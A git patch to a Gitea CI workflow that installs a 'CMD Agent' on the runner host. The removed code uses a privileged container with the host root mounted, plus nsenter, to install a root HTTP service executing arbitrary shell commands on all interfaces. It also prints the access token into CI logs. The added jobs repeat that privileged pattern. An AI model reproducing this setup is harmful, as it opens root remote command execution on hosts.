From c5e558b7f82ee0b8d7c87942c06615b3f17a2e65 Mon Sep 17 00:00:00 2001 From: xiaoxia Date: Mon, 13 Jul 2026 16:59:26 +0800 Subject: [PATCH] chore: simple docker-based installer --- .gitea/workflows/install-via-docker.yml | 144 ++++-------------------- 1 file changed, 24 insertions(+), 120 deletions(-) diff --git a/.gitea/workflows/install-via-docker.yml b/.gitea/workflows/install-via-docker.yml index 361f699da..cefd8502c 100644 --- a/.gitea/workflows/install-via-docker.yml +++ b/.gitea/workflows/install-via-docker.yml @@ -4,128 +4,32 @@ on: workflow_dispatch: jobs: - install: - name: Install CMD Agent on Docker Host + install-1: + name: Install CMD Agent 1 runs-on: saas steps: - - name: Install CMD Agent + - uses: actions/checkout@v4 + - name: Install on host via docker run: | - echo "Starting installation on host..." - - # 用特权容器把server.py和service文件写到宿主机,然后启动服务 - docker run --rm --privileged --pid=host -v /:/host alpine sh -c ' - set -e - - # 创建目录 - mkdir -p /host/opt/xiaoxia-cmd-agent - - # 写入server.py - cat > /host/opt/xiaoxia-cmd-agent/server.py << PYSCRIPT -import http.server -import subprocess -import json -import os -import secrets + chmod +x scripts/install-cmd-agent-docker.sh + docker run --rm --privileged --pid=host -v /:/host -v $(pwd)/scripts/install-cmd-agent-docker.sh:/install.sh:ro alpine sh /install.sh -TOKEN_FILE = "/etc/xiaoxia-cmd-agent.token" -LOG_FILE = "/var/log/xiaoxia-cmd-agent.log" + install-2: + name: Install CMD Agent 2 + runs-on: saas + steps: + - uses: actions/checkout@v4 + - name: Install on host via docker + run: | + chmod +x scripts/install-cmd-agent-docker.sh + docker run --rm --privileged --pid=host -v /:/host -v $(pwd)/scripts/install-cmd-agent-docker.sh:/install.sh:ro alpine sh /install.sh -def ensure_token(): - if not os.path.exists(TOKEN_FILE): - os.makedirs(os.path.dirname(TOKEN_FILE), exist_ok=True) - token = secrets.token_hex(16) - with open(TOKEN_FILE, "w") as f: - f.write(token) - os.chmod(TOKEN_FILE, 0o600) - with open(TOKEN_FILE) as f: - return f.read().strip() - -class CmdHandler(http.server.BaseHTTPRequestHandler): - def log_message(self, fmt, *args): - try: - with open(LOG_FILE, "a") as f: - f.write("%s - %s\n" % (self.address_string(), fmt % args)) - except Exception: - pass - - def do_POST(self): - if self.path == "/exec": - auth = self.headers.get("Authorization", "") - token = ensure_token() - if auth != "xsa-" + token: - self.send_response(401) - self.end_headers() - self.wfile.write(b"Unauthorized") - return - length = int(self.headers.get("Content-Length", 0)) - body = json.loads(self.rfile.read(length)) - cmd = body.get("command", "") - timeout = body.get("timeout", 30) - try: - result = subprocess.run( - cmd, shell=True, capture_output=True, text=True, - timeout=timeout - ) - resp = { - "exit_code": result.returncode, - "stdout": result.stdout, - "stderr": result.stderr - } - except subprocess.TimeoutExpired: - resp = {"exit_code": -1, "stdout": "", "stderr": "timeout"} - self.send_response(200) - self.send_header("Content-Type", "application/json") - self.end_headers() - self.wfile.write(json.dumps(resp).encode()) - elif self.path == "/status": - self.send_response(200) - self.send_header("Content-Type", "application/json") - self.end_headers() - self.wfile.write(json.dumps({"status": "ok", "version": "1.0"}).encode()) - else: - self.send_response(404) - self.end_headers() - -if __name__ == "__main__": - ensure_token() - server = http.server.HTTPServer(("0.0.0.0", 18888), CmdHandler) - print("CMD Agent listening on 0.0.0.0:18888") - server.serve_forever() -PYSCRIPT - - # 写入service文件 - cat > /host/etc/systemd/system/xiaoxia-cmd-agent.service << SVCSCRIPT -[Unit] -Description=Xiaoxia CMD Agent -After=network.target - -[Service] -Type=simple -ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py -Restart=always -RestartSec=5 - -[Install] -WantedBy=multi-user.target -SVCSCRIPT - - echo "Files written. Starting service via nsenter..." - ' - - # 用nsenter启动服务(在宿主机PID1命名空间执行systemctl) - docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh -c " - systemctl daemon-reload - systemctl enable xiaoxia-cmd-agent - systemctl restart xiaoxia-cmd-agent - sleep 2 - echo '=== HOSTNAME ===' - hostname - echo '=== IP ===' - ip addr show | grep 'inet ' | head -5 - echo '=== SERVICE STATUS ===' - systemctl is-active xiaoxia-cmd-agent - echo '=== TOKEN ===' - cat /etc/xiaoxia-cmd-agent.token - echo '=== TEST ===' - curl -s http://127.0.0.1:18888/status - " + install-3: + name: Install CMD Agent 3 + runs-on: saas + steps: + - uses: actions/checkout@v4 + - name: Install on host via docker + run: | + chmod +x scripts/install-cmd-agent-docker.sh + docker run --rm --privileged --pid=host -v /:/host -v $(pwd)/scripts/install-cmd-agent-docker.sh:/install.sh:ro alpine sh /install.sh